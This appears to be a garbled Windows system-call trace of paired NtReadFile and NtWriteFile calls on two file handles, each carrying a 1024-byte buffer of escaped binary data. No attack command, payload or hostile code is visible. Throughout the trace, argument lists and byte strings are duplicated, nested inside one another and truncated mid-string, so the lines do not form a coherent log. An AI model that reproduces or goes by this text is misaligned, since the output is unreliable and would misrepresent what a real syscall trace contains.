\253\341\303\14\25\7\177\254\15\6\212{?HO\20)0\261\26\335z7|\370\36{\220H-\227\220\22N.;4\362]&\2459\31\2061\15'\304& (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\246`0j{\250\305\301\2573\274\244\6$t\37:J1563=1?\327\235\331\362?\260ltt\233Ez\327g)}A.\244R\13$\3166&\4D+\307\273\307\305N\2746a\14\333B\234\332~"\253\341\303\14\25\7\177\254\15\6\212{?HO\20)0\261\26\335z7|\370\36{\220H-\227\220\22N.;4\362]&\2459\31\2061\15'\304&".\243h\244\366\333\256\25\07:\262\302\312#\2666:\13\32\361~\13v\252\372\3341\307\326\247(~\302\357\374,\315~_\2723\37665\36\370\38\22\177\326\235>g~\14\36\367p\263a"T\236\235&<\277V*8\11\37v0\11\256&5!A\254\219.9l<*\302\31\264\5{V!+!j%/\10[(\21\203\2718,\246\253\240>\3005\365\0\377;\306\364.\235\13\17\6\233\10\365\275_\21\1/\346\205&w\27)5\302v\234\251\216,6\7\2625$$\27248;P\37=o\257\276\363p\34;\22\30(\203+\342\2414\33)x\241\343\250\305\270\6\236\215\317\314\234\264\360\271\270\21l\277\24t\275\27\31<\2376\316\226\334\335\250h%\2\37wwN\242!-n+\263\365\16\360\24436\3739E:Q\303U\372\211X\34\35\37{\201!&s@\254$\2\350\16\306\37\177\250.V\2651\230\262\2615\277\2628\250\277;\240\270>\225\277\231\35\262\232 \225\247#\230\245&\216m4\21\352\1\231(,ig2\206\25v6=\21z;\355\20\15N\33\261]2!Q!\2\12m=%\217=*\200\212(\;\14\242\1610\245^qG.9j\304)5\345=\32\237\271\332\33\341%\251\313L,O\227,\11\257\306#\251\13\2374[\22\220\365+\267`l\35", ) T\236\235&<\277V*8\11\37v0\11\256&5!A\254\219.9l<*\302\31\264\5{V!+!j%/\10[(\21\203\2718,\246\253\240>\3005\365\0\377;\306\364.\235\13\17\6\233\10\365\275_\21\1/\346\205&w\27)5\302v\234\251\216,6\7\2625$$\27248;P\37=o\257\276\363p\34;\22\30(\203+\342\2414\33)x\241\343\250\305\270\6\236\215\317\314\234\264\360\271\270\21l\277\24t\275\27\31<\2376\316\226\334\335\250h%\2\37wwN\242!-n+\263\365\16\360\24436\3739E:Q\303U\372\211X\34\35\37{\201!&s@\254$\2\350\16\306\37\177\250.V\2651\230\262\2615\277\2628\250\277;\240\270>\225\277\231\35\262\232 \225\247#\230\245&\216m4\21\352\1\231(,ig2\206\25v6=\21z;\355\20\15N\33\261]2!Q!\2\12m=%\217=*\200\212(\;\14\242\1610\245^qG.9j\304)5\345=\32\237\271\332\33\341%\251\313L,O\227,\11\257\306#\251\13\2374[\22\220\365+\267`l\35", ) == 0x0
 01233  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\230+\312a\337GY8\326v\201Uy\274$/\3609\306\231eL\347V\200\227\371a\34&\22\206@'\317\323\3;!\17\332\315:\307w\333\213\343\244\347\340\361-J\24\277Wk\361Nvx\346\364\21\277\274s\222\24\27\17\220\2237\262\344\232\210\31\327\316\271\13\223]'qS\231\330u\301\373\1779(\264\310\341\177fG\0y\330\34W\322\330~u$\332#\351f\305j\211\207\3218\231\312r^\5\212\377f>\325\357\246\231\314\14\241Y\13m\7N\24\203\22X\347\224\261\234\222\5\221\273\341}+\217\251\5\253\354\321("\327\361\201V\245Wb+\326M\226\372dh\221\255y\220\7>\321\352\360\17\234=\225\316\252k\361\235\361\357&\212\314\303\305\277\323 us6\25ma|Cp\13\206k\341\223\261\355\222\345EF q\330\1\370\357\340 \211\241\221\2\363<\36\3146Z \3114\356\27\35\307\344!]\350K\305\31~,}Z{\235\243\352\361\277\1v\256\351\2274l\234t>>6\217\230$\3250\252\231h\212(\20\231t\332\224)\230\3551\303\312\274\331\373\312\347})=\270\33v\349\235oI9\261c\304\260\223\327\16\344\344z\6\275#b6JJ\36&\310k\304\351\0\342\267n\365\325\7\311\226\12\365\307\341g\344\214c\336u\304\275\10\343\2551\252~x\347\20\232\265\33\11M\306\262\246\362`\211F5\33\375x\275\254\376\320\366\2\344'\251\2463\26CG\261\242\240\356[>\2450\317\216\273\310\251\363\263\21w:\222\271\11}#W\275\244!\362\14\254\246\34\205E\362\203\35\325f\244To;{\316~}:\0\301\362RA:\3046=j\334\362\253-u\332\363\27e\212\355\275\303/e\361Gn\10\204\203/\330'\256~,\313\356 \330\31\336\247\330\273\25", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \327\361\201V\245Wb+\326M\226\372dh\221\255y\220\7>\321\352\360\17\234=\225\316\252k\361\235\361\357&\212\314\303\305\277\323 us6\25ma|Cp\13\206k\341\223\261\355\222\345EF q\330\1\370\357\340 \211\241\221\2\363<\36\3146Z \3114\356\27\35\307\344!]\350K\305\31~,}Z{\235\243\352\361\277\1v\256\351\2274l\234t>>6\217\230$\3250\252\231h\212(\20\231t\332\224)\230\3551\303\312\274\331\373\312\347})=\270\33v\349\235oI9\261c\304\260\223\327\16\344\344z\6\275#b6JJ\36&\310k\304\351\0\342\267n\365\325\7\311\226\12\365\307\341g\344\214c\336u\304\275\10\343\2551\252~x\347\20\232\265\33\11M\306\262\246\362`\211F5\33\375x\275\254\376\320\366\2\344'\251\2463\26CG\261\242\240\356[>\2450\317\216\273\310\251\363\263\21w:\222\271\11}#W\275\244!\362\14\254\246\34\205E\362\203\35\325f\244To;{\316~}:\0\301\362RA:\3046=j\334\362\253-u\332\363\27e\212\355\275\303/e\361Gn\10\204\203/\330'\256~,\313\356 \330\31\336\247\330\273\25", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01234  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\24\2\234\376\241!H\27\245%\31\246(cK(,#{z\3241Q\3274D\3227D\335:\261iI>\247o\34\276j\37\216`&\232qd&\343i)\370j,\315\237.*920\337D6,8:\3142}<\22nt\235\337\37\3\18C.\260\204 \242\1\347\316\303uM?qiY:\240\20t\13\217h\321c[;\334\356\336\23\261\275.|\201\4\303"v\3154\7+\311Bx\31,\247\262\343{\322\305\365\48\3\221\373N4\234\22{\32ONBJ\245\327\323 s1S\3\211q\366\273.\332\327m_\201qBRG\231\267i-88\14Q\325\31*\234\30\217\36\243\337\341"Y(/\315):\253\273\37-,Q;\306d2\3255\306x(\373\36\373\275\215>\273?\240\35\35\36\201\234\312 \365=\36j\352!\356#=\334\2536\330#no\30\5\316\21\203\35\25I\177%eg\21\6\241\246#\253\321\325[\15e4Z\3425W\3410@,g\4\1z\3t8~{KL\3B'@\31J2\244aV\37P\3314\253\24\245+?/\241\302\252\250\15\226\17\220(j$\214\5\206O\4\334%\326\16`d\362\33\374Ec\307\20\301\233\253i\335\26\327\240\21\362\204<\365\310\310\274Y\224\275<>\264=\235|<\34\233\340U&\223$$\315_{~\241\227\10\17\36/2Y22\2245\273q\326?\373\347=\202>\210[<\37\336\215\241\25"E\255{"\317\245F\324K\323\246\242\13\14\3610\223\24\5\6\5\17\32H]U\35I]\27\21F\223\364#\33%'ExVU^h\201).\353Pe_f]\p0q\212\177\230=guz\14?\33\26FWqDTQW\344W_\7o@K\252\220.", ) v\3154\7+\311Bx\31,\247\262\343{\322\305\365\48\3\221\373N4\234\22{\32ONBJ\245\327\323 s1S\3\211q\366\273.\332\327m_\201qBRG\231\267i-88\14Q\325\31*\234\30\217\36\243\337\341 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\24\2\234\376\241!H\27\245%\31\246(cK(,#{z\3241Q\3274D\3227D\335:\261iI>\247o\34\276j\37\216`&\232qd&\343i)\370j,\315\237.*920\337D6,8:\3142}<\22nt\235\337\37\3\18C.\260\204 \242\1\347\316\303uM?qiY:\240\20t\13\217h\321c[;\334\356\336\23\261\275.|\201\4\303"v\3154\7+\311Bx\31,\247\262\343{\322\305\365\48\3\221\373N4\234\22{\32ONBJ\245\327\323 s1S\3\211q\366\273.\332\327m_\201qBRG\231\267i-88\14Q\325\31*\234\30\217\36\243\337\341"Y(/\315):\253\273\37-,Q;\306d2\3255\306x(\373\36\373\275\215>\273?\240\35\35\36\201\234\312 \365=\36j\352!\356#=\334\2536\330#no\30\5\316\21\203\35\25I\177%eg\21\6\241\246#\253\321\325[\15e4Z\3425W\3410@,g\4\1z\3t8~{KL\3B'@\31J2\244aV\37P\3314\253\24\245+?/\241\302\252\250\15\226\17\220(j$\214\5\206O\4\334%\326\16`d\362\33\374Ec\307\20\301\233\253i\335\26\327\240\21\362\204<\365\310\310\274Y\224\275<>\264=\235|<\34\233\340U&\223$$\315_{~\241\227\10\17\36/2Y22\2245\273q\326?\373\347=\202>\210[<\37\336\215\241\25"E\255{"\317\245F\324K\323\246\242\13\14\3610\223\24\5\6\5\17\32H]U\35I]\27\21F\223\364#\33%'ExVU^h\201).\353Pe_f]\p0q\212\177\230=guz\14?\33\26FWqDTQW\344W_\7o@K\252\220.", ) E\255{ (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\24\2\234\376\241!H\27\245%\31\246(cK(,#{z\3241Q\3274D\3227D\335:\261iI>\247o\34\276j\37\216`&\232qd&\343i)\370j,\315\237.*920\337D6,8:\3142}<\22nt\235\337\37\3\18C.\260\204 \242\1\347\316\303uM?qiY:\240\20t\13\217h\321c[;\334\356\336\23\261\275.|\201\4\303"v\3154\7+\311Bx\31,\247\262\343{\322\305\365\48\3\221\373N4\234\22{\32ONBJ\245\327\323 s1S\3\211q\366\273.\332\327m_\201qBRG\231\267i-88\14Q\325\31*\234\30\217\36\243\337\341"Y(/\315):\253\273\37-,Q;\306d2\3255\306x(\373\36\373\275\215>\273?\240\35\35\36\201\234\312 \365=\36j\352!\356#=\334\2536\330#no\30\5\316\21\203\35\25I\177%eg\21\6\241\246#\253\321\325[\15e4Z\3425W\3410@,g\4\1z\3t8~{KL\3B'@\31J2\244aV\37P\3314\253\24\245+?/\241\302\252\250\15\226\17\220(j$\214\5\206O\4\334%\326\16`d\362\33\374Ec\307\20\301\233\253i\335\26\327\240\21\362\204<\365\310\310\274Y\224\275<>\264=\235|<\34\233\340U&\223$$\315_{~\241\227\10\17\36/2Y22\2245\273q\326?\373\347=\202>\210[<\37\336\215\241\25"E\255{"\317\245F\324K\323\246\242\13\14\3610\223\24\5\6\5\17\32H]U\35I]\27\21F\223\364#\33%'ExVU^h\201).\353Pe_f]\p0q\212\177\230=guz\14?\33\26FWqDTQW\344W_\7o@K\252\220.", ) , ) == 0x0
 01235  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "/c\277\224\37\251)\242\241#\236\265\35\233\177\300!R$\234sw\252G\215\5A\216r\203D\23\367c{7Y\333)\227\262\214\230\12L\325\14\247\314\237\274\310 \237xd\352\304V\374\330hO\10O\222\16\365\27X\4/[\303\35\255\227\257p\5\304\265\332\310?\340\241\202@\263\344\276\234}\276\377T\0\314\353\315\177\314B8\242rq\365\217}A\34\373\320\273\254\2145\366\324\17Z%^\240V)\216\355\244\302"\34a\232I\337\256\34\372+\211\353\224\360\231\343\362\224\254\243\245\307S\263\315\305\346\240\207\354\346k\232J+u\12\353\226\241\311\317\321\373.\16\273X\25C\243\325\0\334\346\261\24s\240N\216\24_\\350\24\6\212\274\245\20\34\23\16\312\24\11\313\222l!\372\337\331\254V=\335J\14\35F\257{\304\367\2216z\17\363\36\234\355\333Ti\320\352g\364A\303L\300xn@\37\210\252\247sZm\212z\341\223v\263?\253w\355\307\366\362\260Up\362\314\35u\204\377Uf+#\311\205#\36\232\361-\262\331\3554r3uQ\345\3739\334\203\233\360di\351\230\17\3\305\234$\340\254", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \34a342\330\13\323\371\202\353\357J\356t\335}2.\\26\252`\332\200\332~\10Q\200I\345N4\36\304r#\347\324W\324\365\371\334\332\22}\250\310\236y5\204<\160T\17\263m}\20p?\247(\352\367{w\237\5\313\24\276\225|\334\321<\154\230\271;s\200\370\377\33\300\223\3\17\203\205k\237\260C\260\305\12\243HZ\332.z=w\3\249qP\315Vq\5\370\30\312\372\356&\324\272\265\12W\325\355\246\341Y\362\217=\323b\370Lyk&\337\211~\2375\317\301\252\242\350\244q4\210\322\300\262\347&i\355hv\36\244\207)IN\253\242\244\1*\240>\232I\337\256\34\372+\211\353\224\360\231\343\362\224\254\243\245\307S\263\315\305\346\240\207\354\346k\232J+u\12\353\226\241\311\317\321\373.\16\273X\25C\243\325\0\334\346\261\24s\240N\216\24_\\350\24\6\212\274\245\20\34\23\16\312\24\11\313\222l!\372\337\331\254V=\335J\14\35F\257{\304\367\2216z\17\363\36\234\355\333Ti\320\352g\364A\303L\300xn@\37\210\252\247sZm\212z\341\223v\263?\253w\355\307\366\362\260Up\362\314\35u\204\377Uf+#\311\205#\36\232\361-\262\331\3554r3uQ\345\3739\334\203\233\360di\351\230\17\3\305\234$\340\254", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01236  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\3675Z\364=\341]j\375EmjMKMW\37\2645\272"\260\11\372\247Su*\170\10\321\32003ar\364\252\32\310-\361\340\3738\366>\264\363\227\314-\337\253\334Yf'Zg$\237\3\213n==n,\231t1<'\220v4\243|9l)}=\262[\37\371\246\337"\377\334\313;\373\31'7)\154,2.\341\265\330l\263\1\2156\2039\336\33&*\23#\36\37"\336'\277 \301*\262%\346& \330+\32F\237%\226HVWTs\303\334\275\213\345\310;\17=\310\376\341\36\226\334\336\310!= \364\240\331\254\302W,8\355$\376a\307\310t\10\3035\276c\14\32F\326\267\350\36r\236\316\224\35_\271 3\250,\244D\276d+"\303\232CN>z\265P"dw2\2740z9&0\325\245\177\30Y\37W\33#\351\252\313\261H'\342'\255\1\2139|-, \272x27+\26\377\3237\327D\0">5\33\15\315Z;h)\246#li\332d\253)z\337\250-z\275\330\2652k\350\2616k\354\275:\37\\365\272?\177\244\231\36w\260h\246#H\241\242'X]\256+X\277r\2530Ib\2674Iz\2658-\276\37,I~<\363\377O\343\340e+n\242d/$v\243\347\302s,%^\177\275~qs<\25!\366`m\220[>\10v\233\35\260\265\30K\200'\226 v\205 \6\340'k\177i\375 %\175:Y4=\273qQ\264zt\32In\15Ht\1\233u\362\241\214\251\6\263\246Mx\243\254+G\177~j\264[\34\263\25f\336\260\270;\271;\370!\325=)\334\226R\37\4u}}y~B\256($*/\257\351~\3554\33122\24456\373G9\5\12\304\14*O3\2249,'T\11", ) \260\11\372\247Su*\170\10\321\32003ar\364\252\32\310-\361\340\3738\366>\264\363\227\314-\337\253\334Yf'Zg$\237\3\213n==n,\231t1<'\220v4\243|9l)}=\262[\37\371\246\337 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\3675Z\364=\341]j\375EmjMKMW\37\2645\272"\260\11\372\247Su*\170\10\321\32003ar\364\252\32\310-\361\340\3738\366>\264\363\227\314-\337\253\334Yf'Zg$\237\3\213n==n,\231t1<'\220v4\243|9l)}=\262[\37\371\246\337"\377\334\313;\373\31'7)\154,2.\341\265\330l\263\1\2156\2039\336\33&*\23#\36\37"\336'\277 \301*\262%\346& \330+\32F\237%\226HVWTs\303\334\275\213\345\310;\17=\310\376\341\36\226\334\336\310!= \364\240\331\254\302W,8\355$\376a\307\310t\10\3035\276c\14\32F\326\267\350\36r\236\316\224\35_\271 3\250,\244D\276d+"\303\232CN>z\265P"dw2\2740z9&0\325\245\177\30Y\37W\33#\351\252\313\261H'\342'\255\1\2139|-, \272x27+\26\377\3237\327D\0">5\33\15\315Z;h)\246#li\332d\253)z\337\250-z\275\330\2652k\350\2616k\354\275:\37\\365\272?\177\244\231\36w\260h\246#H\241\242'X]\256+X\277r\2530Ib\2674Iz\2658-\276\37,I~<\363\377O\343\340e+n\242d/$v\243\347\302s,%^\177\275~qs<\25!\366`m\220[>\10v\233\35\260\265\30K\200'\226 v\205 \6\340'k\177i\375 %\175:Y4=\273qQ\264zt\32In\15Ht\1\233u\362\241\214\251\6\263\246Mx\243\254+G\177~j\264[\34\263\25f\336\260\270;\271;\370!\325=)\334\226R\37\4u}}y~B\256($*/\257\351~\3554\33122\24456\373G9\5\12\304\14*O3\2249,'T\11", ) \336'\277 \301*\262%\346& \330+\32F\237%\226HVWTs\303\334\275\213\345\310;\17=\310\376\341\36\226\334\336\310!= \364\240\331\254\302W,8\355$\376a\307\310t\10\3035\276c\14\32F\326\267\350\36r\236\316\224\35_\271 3\250,\244D\276d+ (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\3675Z\364=\341]j\375EmjMKMW\37\2645\272"\260\11\372\247Su*\170\10\321\32003ar\364\252\32\310-\361\340\3738\366>\264\363\227\314-\337\253\334Yf'Zg$\237\3\213n==n,\231t1<'\220v4\243|9l)}=\262[\37\371\246\337"\377\334\313;\373\31'7)\154,2.\341\265\330l\263\1\2156\2039\336\33&*\23#\36\37"\336'\277 \301*\262%\346& \330+\32F\237%\226HVWTs\303\334\275\213\345\310;\17=\310\376\341\36\226\334\336\310!= \364\240\331\254\302W,8\355$\376a\307\310t\10\3035\276c\14\32F\326\267\350\36r\236\316\224\35_\271 3\250,\244D\276d+"\303\232CN>z\265P"dw2\2740z9&0\325\245\177\30Y\37W\33#\351\252\313\261H'\342'\255\1\2139|-, \272x27+\26\377\3237\327D\0">5\33\15\315Z;h)\246#li\332d\253)z\337\250-z\275\330\2652k\350\2616k\354\275:\37\\365\272?\177\244\231\36w\260h\246#H\241\242'X]\256+X\277r\2530Ib\2674Iz\2658-\276\37,I~<\363\377O\343\340e+n\242d/$v\243\347\302s,%^\177\275~qs<\25!\366`m\220[>\10v\233\35\260\265\30K\200'\226 v\205 \6\340'k\177i\375 %\175:Y4=\273qQ\264zt\32In\15Ht\1\233u\362\241\214\251\6\263\246Mx\243\254+G\177~j\264[\34\263\25f\336\260\270;\271;\370!\325=)\334\226R\37\4u}}y~B\256($*/\257\351~\3554\33122\24456\373G9\5\12\304\14*O3\2249,'T\11", ) dw2\2740z9&0\325\245\177\30Y\37W\33#\351\252\313\261H'\342'\255\1\2139|-, \272x27+\26\377\3237\327D\0 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\3675Z\364=\341]j\375EmjMKMW\37\2645\272"\260\11\372\247Su*\170\10\321\32003ar\364\252\32\310-\361\340\3738\366>\264\363\227\314-\337\253\334Yf'Zg$\237\3\213n==n,\231t1<'\220v4\243|9l)}=\262[\37\371\246\337"\377\334\313;\373\31'7)\154,2.\341\265\330l\263\1\2156\2039\336\33&*\23#\36\37"\336'\277 \301*\262%\346& \330+\32F\237%\226HVWTs\303\334\275\213\345\310;\17=\310\376\341\36\226\334\336\310!= \364\240\331\254\302W,8\355$\376a\307\310t\10\3035\276c\14\32F\326\267\350\36r\236\316\224\35_\271 3\250,\244D\276d+"\303\232CN>z\265P"dw2\2740z9&0\325\245\177\30Y\37W\33#\351\252\313\261H'\342'\255\1\2139|-, \272x27+\26\377\3237\327D\0">5\33\15\315Z;h)\246#li\332d\253)z\337\250-z\275\330\2652k\350\2616k\354\275:\37\\365\272?\177\244\231\36w\260h\246#H\241\242'X]\256+X\277r\2530Ib\2674Iz\2658-\276\37,I~<\363\377O\343\340e+n\242d/$v\243\347\302s,%^\177\275~qs<\25!\366`m\220[>\10v\233\35\260\265\30K\200'\226 v\205 \6\340'k\177i\375 %\175:Y4=\273qQ\264zt\32In\15Ht\1\233u\362\241\214\251\6\263\246Mx\243\254+G\177~j\264[\34\263\25f\336\260\270;\271;\370!\325=)\334\226R\37\4u}}y~B\256($*/\257\351~\3554\33122\24456\373G9\5\12\304\14*O3\2249,'T\11", ) , ) == 0x0
 01237  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "P\231r\311\351\363&\17k\255\353h\365R\370\3568\327H\345\301o\360\11o|j\370Gx!t[\211\10\11+\305\21\337He\207\222.\250\16\367L\23n'T\203BA\274D\252\334\205Q\316\346\225$"\230\307\333\347\33>L#Y\262\335\203\277\340\302a\10\37\335\375F\75\244\2703K\356\327}\305(\261(\265\222\334\16(=:\234=$\341\257\340\324\234\230Wj"\16O\2438\225\314w\260\251#1\256\251\207\360$p\17\315\204\216\3067\343\244\207\302\234!7L\261\250X@\24\352\220\20\304c\11P;\372\210\24\206:\35+V\215_\364\31NN>`\213n\2519\336\344B\360!\367\15+$[\345\347\241\370,\352Y1\205{\344\212\2\371%Q\245dJ\33\215,\315!?\244\274ps\346K\336\34\321t\354\357\202\330\245\264\2\33\322\232Y=3=\372\24/i\200\352\374\352\222r\365n\261\30ntR:\3645\247Nv\350\2402\263\373\273S\202=\265\374\223$c\33\26\332^\304\267\207y\300\\333y\224\306c\323\260\354\307\37\353\346\207o1\330\222\370\315\21\202\247k^\213:-\302V\262|h\262{\336\320\266\377\225\34\34\215\320Zc#%V\263\320z9\224}\336#\344\303\273\13i\350\316\333q\321\214\2305\302x\3\323z\330k\250\14\317\22\350\262&\265d\304t\357\212\316\22\354\325:\232\271\12%\245iN\320\11L\5\220!OZ\204\336\222G\214\246c\203u\2\225@\241\2\323\332\267\25\205[\253\342\21+\314\302<\374!\242\17\33\316tXK\203\14\23\351\372_,\355i\212\10\301d\350\246#\225"\13\231G\3613\236\6\271|:+\241\256s\324\14-\341\15P\2721W\375\310S\362i\0q\316\255H\260E\361d\375%\245\367\253\345\200s\325\356", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \230\307\333\347\33>L#Y\262\335\203\277\340\302a\10\37\335\375F\75\244\2703K\356\327}\305(\261(\265\222\334\16(=:\234=$\341\257\340\324\234\230Wj (92, 0, 0, 0, "P\231r\311\351\363&\17k\255\353h\365R\370\3568\327H\345\301o\360\11o|j\370Gx!t[\211\10\11+\305\21\337He\207\222.\250\16\367L\23n'T\203BA\274D\252\334\205Q\316\346\225$"\230\307\333\347\33>L#Y\262\335\203\277\340\302a\10\37\335\375F\75\244\2703K\356\327}\305(\261(\265\222\334\16(=:\234=$\341\257\340\324\234\230Wj"\16O\2438\225\314w\260\251#1\256\251\207\360$p\17\315\204\216\3067\343\244\207\302\234!7L\261\250X@\24\352\220\20\304c\11P;\372\210\24\206:\35+V\215_\364\31NN>`\213n\2519\336\344B\360!\367\15+$[\345\347\241\370,\352Y1\205{\344\212\2\371%Q\245dJ\33\215,\315!?\244\274ps\346K\336\34\321t\354\357\202\330\245\264\2\33\322\232Y=3=\372\24/i\200\352\374\352\222r\365n\261\30ntR:\3645\247Nv\350\2402\263\373\273S\202=\265\374\223$c\33\26\332^\304\267\207y\300\\333y\224\306c\323\260\354\307\37\353\346\207o1\330\222\370\315\21\202\247k^\213:-\302V\262|h\262{\336\320\266\377\225\34\34\215\320Zc#%V\263\320z9\224}\336#\344\303\273\13i\350\316\333q\321\214\2305\302x\3\323z\330k\250\14\317\22\350\262&\265d\304t\357\212\316\22\354\325:\232\271\12%\245iN\320\11L\5\220!OZ\204\336\222G\214\246c\203u\2\225@\241\2\323\332\267\25\205[\253\342\21+\314\302<\374!\242\17\33\316tXK\203\14\23\351\372_,\355i\212\10\301d\350\246#\225"\13\231G\3613\236\6\271|:+\241\256s\324\14-\341\15P\2721W\375\310S\362i\0q\316\255H\260E\361d\375%\245\367\253\345\200s\325\356", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \13\231G\3613\236\6\271|:+\241\256s\324\14-\341\15P\2721W\375\310S\362i\0q\316\255H\260E\361d\375%\245\367\253\345\200s\325\356", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01238  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "+)$4\226#..\20482\376\25\2157{\365\30n;TTM\37knry\37R@O\3GDHI(F^\13\11Eh\213A%B\364@_7\2043\2013\2334U\250\11\20\22\365\14\177\3b\211sA1\35\344\2744%_f*\360\2\221\27[\231\2154\321\252f\2059>-\214=k\24\255\34\311\314\20;C"Q0$\37;\14\213\10\374&}\333\363,\223&\264F\311\307\61\1370\255+Z\3548\374\36" }}\330\225'\337)F\11$,". 0>2\254;597;{\251/\14\37J3Z\34\27\31\217\24\251C9\352\315b9\327\374\354*\254Y\337\304\26\316'\243\25\256\303\267!Y\273"\364\@\277y\\5\377r\255A\266\354\206Q\307!n\22\236\11\12\355!\251\306\317\315\314\220L\226?>\32>K\177=*\277\332\376\30.M\337\364\234C\35\325n\330=\265\128DM\217.`u\221\2734d\311"\230[\32\230\255\234lJ;\275|\34\330%\240#\253\3647f\247,\326?3\314.\252\3505\320030\276\360h" 6;\235\261\256<\373\3Z\277\217\21\241""U\23\341a9).\354\252\35\15'07\266\17\2136\307\337^\335\272\22\32\13\2134 \320.WM\352\22rd!\326\246,\351-8d\305\32\244[\241&\375\3655Wf\320\334\321\332<\235\247a_\11\15$\314`'\316+**\305\2342.\271\2610\177$\2643`::\2729\30\257\303\276\23\341\25\237\307 +k\255\24vf/jv0\260|r37;\14\213\10\374&}\333\363,\223&\264F\311\307\61\1370\255+Z\3548\374\36 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "+)$4\226#..\20482\376\25\2157{\365\30n;TTM\37knry\37R@O\3GDHI(F^\13\11Eh\213A%B\364@_7\2043\2013\2334U\250\11\20\22\365\14\177\3b\211sA1\35\344\2744%_f*\360\2\221\27[\231\2154\321\252f\2059>-\214=k\24\255\34\311\314\20;C"Q0$\37;\14\213\10\374&}\333\363,\223&\264F\311\307\61\1370\255+Z\3548\374\36" }}\330\225'\337)F\11$,". 0>2\254;597;{\251/\14\37J3Z\34\27\31\217\24\251C9\352\315b9\327\374\354*\254Y\337\304\26\316'\243\25\256\303\267!Y\273"\364\@\277y\\5\377r\255A\266\354\206Q\307!n\22\236\11\12\355!\251\306\317\315\314\220L\226?>\32>K\177=*\277\332\376\30.M\337\364\234C\35\325n\330=\265\128DM\217.`u\221\2734d\311"\230[\32\230\255\234lJ;\275|\34\330%\240#\253\3647f\247,\326?3\314.\252\3505\320030\276\360h" 6;\235\261\256<\373\3Z\277\217\21\241""U\23\341a9).\354\252\35\15'07\266\17\2136\307\337^\335\272\22\32\13\2134 \320.WM\352\22rd!\326\246,\351-8d\305\32\244[\241&\375\3655Wf\320\334\321\332<\235\247a_\11\15$\314`'\316+**\305\2342.\271\2610\177$\2643`::\2729\30\257\303\276\23\341\25\237\307 +k\255\24vf/jv0\260|r0>2\254;597;{\251/\14\37J3Z\34\27\31\217\24\251C9\352\315b9\327\374\354*\254Y\337\304\26\316'\243\25\256\303\267!Y\273 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "+)$4\226#..\20482\376\25\2157{\365\30n;TTM\37knry\37R@O\3GDHI(F^\13\11Eh\213A%B\364@_7\2043\2013\2334U\250\11\20\22\365\14\177\3b\211sA1\35\344\2744%_f*\360\2\221\27[\231\2154\321\252f\2059>-\214=k\24\255\34\311\314\20;C"Q0$\37;\14\213\10\374&}\333\363,\223&\264F\311\307\61\1370\255+Z\3548\374\36" }}\330\225'\337)F\11$,". 0>2\254;597;{\251/\14\37J3Z\34\27\31\217\24\251C9\352\315b9\327\374\354*\254Y\337\304\26\316'\243\25\256\303\267!Y\273"\364\@\277y\\5\377r\255A\266\354\206Q\307!n\22\236\11\12\355!\251\306\317\315\314\220L\226?>\32>K\177=*\277\332\376\30.M\337\364\234C\35\325n\330=\265\128DM\217.`u\221\2734d\311"\230[\32\230\255\234lJ;\275|\34\330%\240#\253\3647f\247,\326?3\314.\252\3505\320030\276\360h" 6;\235\261\256<\373\3Z\277\217\21\241""U\23\341a9).\354\252\35\15'07\266\17\2136\307\337^\335\272\22\32\13\2134 \320.WM\352\22rd!\326\246,\351-8d\305\32\244[\241&\375\3655Wf\320\334\321\332<\235\247a_\11\15$\314`'\316+**\305\2342.\271\2610\177$\2643`::\2729\30\257\303\276\23\341\25\237\307 +k\255\24vf/jv0\260|r230[\32\230\255\234lJ;\275|\34\330%\240#\253\3647f\247,\326?3\314.\252\3505\320030\276\360h (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "+)$4\226#..\20482\376\25\2157{\365\30n;TTM\37knry\37R@O\3GDHI(F^\13\11Eh\213A%B\364@_7\2043\2013\2334U\250\11\20\22\365\14\177\3b\211sA1\35\344\2744%_f*\360\2\221\27[\231\2154\321\252f\2059>-\214=k\24\255\34\311\314\20;C"Q0$\37;\14\213\10\374&}\333\363,\223&\264F\311\307\61\1370\255+Z\3548\374\36" }}\330\225'\337)F\11$,". 0>2\254;597;{\251/\14\37J3Z\34\27\31\217\24\251C9\352\315b9\327\374\354*\254Y\337\304\26\316'\243\25\256\303\267!Y\273"\364\@\277y\\5\377r\255A\266\354\206Q\307!n\22\236\11\12\355!\251\306\317\315\314\220L\226?>\32>K\177=*\277\332\376\30.M\337\364\234C\35\325n\330=\265\128DM\217.`u\221\2734d\311"\230[\32\230\255\234lJ;\275|\34\330%\240#\253\3647f\247,\326?3\314.\252\3505\320030\276\360h" 6;\235\261\256<\373\3Z\277\217\21\241""U\23\341a9).\354\252\35\15'07\266\17\2136\307\337^\335\272\22\32\13\2134 \320.WM\352\22rd!\326\246,\351-8d\305\32\244[\241&\375\3655Wf\320\334\321\332<\235\247a_\11\15$\314`'\316+**\305\2342.\271\2610\177$\2643`::\2729\30\257\303\276\23\341\25\237\307 